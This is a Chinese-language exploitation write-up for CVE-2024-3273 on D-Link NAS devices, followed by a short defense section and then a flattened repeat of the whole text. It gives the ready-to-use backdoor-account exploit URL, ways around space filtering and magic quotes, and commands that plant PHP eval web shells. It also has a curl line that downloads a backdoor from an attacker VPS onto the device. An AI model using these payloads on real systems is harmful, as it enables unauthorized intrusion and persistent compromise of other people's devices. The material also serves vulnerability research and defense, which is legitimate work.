D-Link RCE 的一次简单绕过
字数 1193 2025-08-29 22:41:32

D-Link RCE漏洞(CVE-2024-3273)分析与绕过技术详解

漏洞概述

漏洞编号: CVE-2024-3273
影响产品: D-Link网络存储(NAS)设备
漏洞类型: 命令注入+后门账户
风险等级: 高危
影响范围: 使用nas_sharing.cgi脚本的D-Link NAS设备

漏洞成因分析

该漏洞由两个关键问题组成:

  1. 硬编码后门账户:

    • 用户名: messagebus
    • 密码: 空
  2. 命令注入漏洞:

    • 位于/cgi-bin/nas_sharing.cgi脚本中
    • system参数存在未过滤的命令注入
    • 通过HTTP GET请求触发

漏洞验证方法

基本验证方式

访问以下URL验证漏洞是否存在:

/cgi-bin/nas_sharing.cgi?user=messagebus&passwd=&cmd=15&system=aWQ=

其中:

  • user=messagebus: 使用硬编码后门账户
  • passwd=: 空密码
  • cmd=15: 固定参数
  • system=aWQ=: 要执行的命令(base64编码),此处aWQ=id命令的base64编码

验证结果判断:

  • 如果返回当前用户ID信息,则存在漏洞
  • 无响应或错误响应则可能不存在漏洞

漏洞利用技术

基本利用流程

  1. 构造恶意请求:

    /cgi-bin/nas_sharing.cgi?user=messagebus&passwd=&cmd=15&system=<base64编码的命令>
    
  2. 命令需要先进行base64编码:

    echo -n "id" | base64  # 输出: aWQ=
    

写入文件测试

尝试写入PHP文件:

echo '<?php phpinfo();?>' > /var/www/html/666.php

base64编码后:

echo -n "echo '<?php phpinfo();?>' > /var/www/html/666.php" | base64

空格过滤绕过技术

发现空格被过滤时,可使用以下替代方法:

  1. 使用Tab键替代空格:

    • 原始命令: ls / -al
    • 替换后: ls<tab>/-al (其中表示Tab字符)
  2. 其他可能的空格替代方案:

    • ${IFS} (内部字段分隔符)
    • <> 重定向符号
    • %09 (URL编码的Tab)

魔术引号绕过技术

当PHP的magic_quotes_gpc开启时(默认在PHP 5.2),特殊字符会被自动转义,需要绕过:

  1. 使用stripslashes()函数:

    <?php eval(stripslashes($_POST['cmd']));?>
    

    base64编码:

    echo -n "echo '<?php eval(stripslashes(\$_POST[\"cmd\"]));?>' > /var/www/html/8.php" | base64
    
  2. 其他绕过方法(文中提到未成功):

    • base64_decode()传输代码
    • chr()逐字符拼接
    • call_user_func()动态调用
    • 双重str_replace()

文件写入与WebShell部署

  1. 写入phpinfo测试文件:

    echo '<?php phpinfo();?>' > /var/www/html/info.php
    
  2. 写入WebShell:

    echo '<?php eval(stripslashes($_POST["cmd"]));?>' > /var/www/html/shell.php
    
  3. 从远程下载WebShell:

    curl vps_ip:8000/qsd-php-backdoor.php -o /var/www/html/theme-config.php
    

防御建议

  1. 厂商修复方案:

    • 移除硬编码账户
    • 对system参数进行严格过滤
    • 升级固件版本
  2. 临时缓解措施:

    • 禁用nas_sharing.cgi脚本
    • 配置防火墙规则限制访问
    • 监控异常访问日志
  3. 用户防护建议:

    • 及时更新设备固件
    • 修改默认凭证
    • 限制管理界面访问

总结

CVE-2024-3273漏洞结合了硬编码凭证和命令注入两大安全问题,攻击者可在未授权情况下实现远程代码执行。通过本文分析的各种绕过技术,特别是针对空格过滤和魔术引号的绕过方法,安全研究人员可以更全面地评估该漏洞的影响范围和危害程度。

D-Link RCE漏洞(CVE-2024-3273)分析与绕过技术详解 漏洞概述 漏洞编号 : CVE-2024-3273 影响产品 : D-Link网络存储(NAS)设备 漏洞类型 : 命令注入+后门账户 风险等级 : 高危 影响范围 : 使用nas_ sharing.cgi脚本的D-Link NAS设备 漏洞成因分析 该漏洞由两个关键问题组成: 硬编码后门账户 : 用户名: messagebus 密码: 空 命令注入漏洞 : 位于 /cgi-bin/nas_sharing.cgi 脚本中 system 参数存在未过滤的命令注入 通过HTTP GET请求触发 漏洞验证方法 基本验证方式 访问以下URL验证漏洞是否存在: 其中: user=messagebus : 使用硬编码后门账户 passwd= : 空密码 cmd=15 : 固定参数 system=aWQ= : 要执行的命令(base64编码),此处 aWQ= 是 id 命令的base64编码 验证结果判断 : 如果返回当前用户ID信息,则存在漏洞 无响应或错误响应则可能不存在漏洞 漏洞利用技术 基本利用流程 构造恶意请求: 命令需要先进行base64编码: 写入文件测试 尝试写入PHP文件: base64编码后: 空格过滤绕过技术 发现空格被过滤时,可使用以下替代方法: 使用Tab键替代空格 : 原始命令: ls / -al 替换后: ls<tab>/-al (其中 表示Tab字符) 其他可能的空格替代方案: ${IFS} (内部字段分隔符) < 或 > 重定向符号 %09 (URL编码的Tab) 魔术引号绕过技术 当PHP的 magic_quotes_gpc 开启时(默认在PHP 5.2),特殊字符会被自动转义,需要绕过: 使用stripslashes()函数 : base64编码: 其他绕过方法(文中提到未成功): base64_decode() 传输代码 chr() 逐字符拼接 call_user_func() 动态调用 双重 str_replace() 文件写入与WebShell部署 写入phpinfo测试文件: 写入WebShell: 从远程下载WebShell: 防御建议 厂商修复方案 : 移除硬编码账户 对system参数进行严格过滤 升级固件版本 临时缓解措施 : 禁用nas_ sharing.cgi脚本 配置防火墙规则限制访问 监控异常访问日志 用户防护建议 : 及时更新设备固件 修改默认凭证 限制管理界面访问 总结 CVE-2024-3273漏洞结合了硬编码凭证和命令注入两大安全问题,攻击者可在未授权情况下实现远程代码执行。通过本文分析的各种绕过技术,特别是针对空格过滤和魔术引号的绕过方法,安全研究人员可以更全面地评估该漏洞的影响范围和危害程度。